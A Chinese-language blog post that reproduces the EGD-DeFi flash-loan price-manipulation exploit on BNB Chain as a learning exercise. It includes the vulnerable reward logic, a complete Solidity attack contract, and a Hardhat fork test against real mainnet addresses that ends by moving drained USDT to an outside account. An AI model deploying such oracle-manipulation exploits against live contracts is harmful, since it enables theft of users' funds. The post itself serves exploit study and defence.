EGD-DEFI POC分析

分析下EGD-DEFI攻击路径

参考分析下EGD-DEFI攻击路径: https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/03_write_your_own_poc/

1、找到被攻击的合约地址

https://bscscan.com/address/0x34bd6dba456bc31c2b3393e499fa10bed32a9370 这是一个代理合约,需要找到他的逻辑合约地址

在Contract中,点击Read as Proxy,可以看到目前逻辑合约已经被更新了,并且是未开放源码的。所以我们需要查看更新前的合约逻辑,所以查看下面的地址 https://bscscan.com/address/0x93c175439726797dcee24d08e4ac9164e88e7aee#code image.png

2、被攻击的合约逻辑

    // 质押USDT
    function stake(uint amount) external {
        ......
        userSlot[msg.sender][stakeId].totalQuota = amount;
        userSlot[msg.sender][stakeId].leftQuota = amount * rate[index] / 100;
        userInfo[msg.sender].userStakeList.push(stakeId);
        userInfo[msg.sender].totalAmount += amount;
        ......
    }

    // 计算并取出收益
    function claimAllReward() external {
        ......
        rew += quota * 1e18 / getEGDPrice();
        EGD.transfer(msg.sender, rew);
        userInfo[msg.sender].totalClaimed += rew;
        ......
    }

    // 通过pair余额计算EGD价格
    function getEGDPrice() public view returns (uint){
        uint balance1 = EGD.balanceOf(pair);
        uint balance2 = U.balanceOf(pair);
        return (balance2 * 1e18 / balance1);
    }

3、攻击路径分析

  1. 通过闪电贷贷出usdt-egd pair中的usdt
  2. usdt-egd池子中,usdt减少,egd价格降低
  3. 调用EGDDefi 兑换出EGD token
  4. 归还闪电贷
  5. 通过usdt-egd兑换usdt

4、模拟攻击

攻击合约逻辑

    function getEGDPrice() public view returns (uint){
        uint balance1 = egdErc20.balanceOf(0xa361433E409Adac1f87CDF133127585F8a93c67d);
        uint balance2 = usdtErc20.balanceOf(0xa361433E409Adac1f87CDF133127585F8a93c67d);
        return (balance2 * 1e18 / balance1);
    }

    function harvestV2() external {
        // WBNB-USDT-PAIR贷出usdt
        wbnbUsdtPair.swap(1065_000_000_000_000_000_000, 0, address(this), new bytes(2));
    }

    // pancakeCall V2版本,在一次调用中完成所有流程
    function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external {
        // 在上面的攻击中已经完成了基本攻击,如果想要兑换usdt还需要单独调用swap,另外在准备阶段需要向合约中存储大量的usdt
        // 如何用最小的成本攻击呢?
        // 如何在一个交易中完成攻击以及egd->usdt的转换
        //----------------------------------------------
        console.log('data.length:', data.length);
        if (data.length == 2) {
            // 第一次pancakeCall,这时hack contract中已经有了usdt
            // 从usdt-edg-pair中贷款
            uint usdtBalance = usdtErc20.balanceOf(0xa361433E409Adac1f87CDF133127585F8a93c67d);
            uint loanBalance = usdtBalance - 5050653639021864659 - 1000000000;

            // 调用usdt-egd-pair.swap闪电贷 贷出usdt
            egdUsdtPair.swap(0, loanBalance, address(this), new bytes(1));

            // 这时攻击得到的edg已经到hack contract中了
            // 调用pancake router兑换usdt-egd
            uint egdBalanceAfterHack = egdErc20.balanceOf(address(this));
            address[] memory path = new address[](2);
            path[0] = 0x202b233735bF743FA31abb8f71e641970161bF98;
            path[1] = 0x55d398326f99059fF775485246999027B3197955;
            egdErc20.approve(0x10ED43C718714eb63d5aA57B78B54704E256024E, type(uint).max);
            // 将usdt兑换到hack contract
            router.swapExactTokensForTokensSupportingFeeOnTransferTokens(egdBalanceAfterHack, 1, path, address(this), 1660000547 + 10);

            // 归还从wbnb-usdt贷出的usdt
            usdtErc20.transfer(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE, 1065_000_000_000_000_000_000 + 10_000_000_000_000_000_000);

            // usdt转给外部用户
            uint usdtBalanceFinal = usdtErc20.balanceOf(address(this));
            usdtErc20.transfer(0x70997970C51812dc3A010C7d01b50e0d17dc79C8, usdtBalanceFinal);
        } else {
            // 第二次pancakeCall
            // 这时egd-usdt pair中的usdt以贷出
            // 调用claimAllReward

            uint egdTokenegdDefiBalanceBeforeHack = egdErc20.balanceOf(0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370);
            // 5678872.403240763806350000
            console.log('egdTokenegdDefiBalance before hack:',egdTokenegdDefiBalanceBeforeHack);

            egdDefi.claimAllReward();

            uint egdTokenegdDefiBalanceAfterHack = egdErc20.balanceOf(0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370);
            // 0.001089664673120000
            console.log('egdTokenegdDefiBalance after hack:',egdTokenegdDefiBalanceAfterHack);

            // 归还从usdt-egd贷出的usdt
            uint returnBalance = amount1 + 1065_000_000_000_000_000_000;
            usdtErc20.transfer(0xa361433E409Adac1f87CDF133127585F8a93c67d, returnBalance);
        }
    }
}

调用逻辑

    // 成本需要100u,hack完成后将usdt发送到eoa账户
    it("attack v2", async function () {
        const {hack,owner,otherAccount} = await loadFixture(deployAAVEProtocolFixture);
        // 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
        console.log(`hack contract address:${hack.address}`);

        const richUSDTAddress = '0xd87653Ae81507cdFdD82dF839a3fA74e5b14ed82';
        const usdtErcAddress = '0x55d398326f99059fF775485246999027B3197955';
        const egdErcAddress = '0x202b233735bF743FA31abb8f71e641970161bF98';
        const EGDDefiAddress = '0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370';

        console.log(`otherAccount address:${otherAccount.address}`);
        let usdtTokenOtherAccountBalance = await Erc20Util.balanceOf(usdtErcAddress, otherAccount.address);
        console.log(`otherAccount usdt balance:${usdtTokenOtherAccountBalance}`);

        // 给rich usdt 账户转些bnb,下面好通过rich usdt账户给hack contract转usdt
        await EthUtil.transferWithOwner(owner, richUSDTAddress, 10_000_000_000_000_000_000n);
        await Erc20Util.transfer('0x55d398326f99059fF775485246999027B3197955', richUSDTAddress, hack.address, 100_000_000_000_000_000_000n);
        let usdtBalance = await Erc20Util.balanceOf(usdtErcAddress, hack.address);
        // 100.000000000000000000
        console.log(`hack contract usdt balance:${usdtBalance}`);

        // 预攻击准备
        /**
         * 1. 给EGDDefi授权usdt
         * 2. 绑定推荐人
         * 3. 质押10 usdt token
         */
        await hack.preHack(EGDDefiAddress, 100_000_000_000_000_000_000n);

        usdtBalance = await Erc20Util.balanceOf(usdtErcAddress, hack.address);
        // 0
        console.log(`hack contract usdt balance after stake EGD:${usdtBalance}`);

        let block = await ethers.provider.getBlock('latest'); // earliest pending
        // 1659914147
        console.log(`block timestamp before modify timestamp:${block.timestamp}`);
        // 质押24h后, 再领取
        await time.setNextBlockTimestamp(block.timestamp + 3600 * 24);
        // 修改时间后要产生一个交易才生效
        await EthUtil.transferWithOwner(owner, hack.address, 10_000_000_000_000_000_000n);
        block = await ethers.provider.getBlock('latest'); // earliest pending
        // 1660000547
        console.log(`block timestamp after modify timestamp:${block.timestamp}`);

        // 24h后计算赚取的收益
        const allQuota = await hack.calculateAll(hack.address);
        // 0.546999999999955200
        console.log(`calculate hack address all quota:${allQuota}`);
        let egdBalance = await Erc20Util.balanceOf(egdErcAddress, hack.address);
        // 0
        console.log(`hack contract EGD balance before claimAllReward:${egdBalance}`);

        console.log('--------prepare already--------');

        await hack.harvestV2();

        console.log('--------finish hack--------');
        usdtTokenOtherAccountBalance = await Erc20Util.balanceOf(usdtErcAddress, otherAccount.address);
        // 36638.355953361410206181
        console.log(`otherAccount usdt balance:${usdtTokenOtherAccountBalance}`);
    });
  • 原创
  • 学分: 2
  • 分类: DeFi
  • 标签:
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
打野工程师
打野工程师
江湖只有他的大名,没有他的介绍。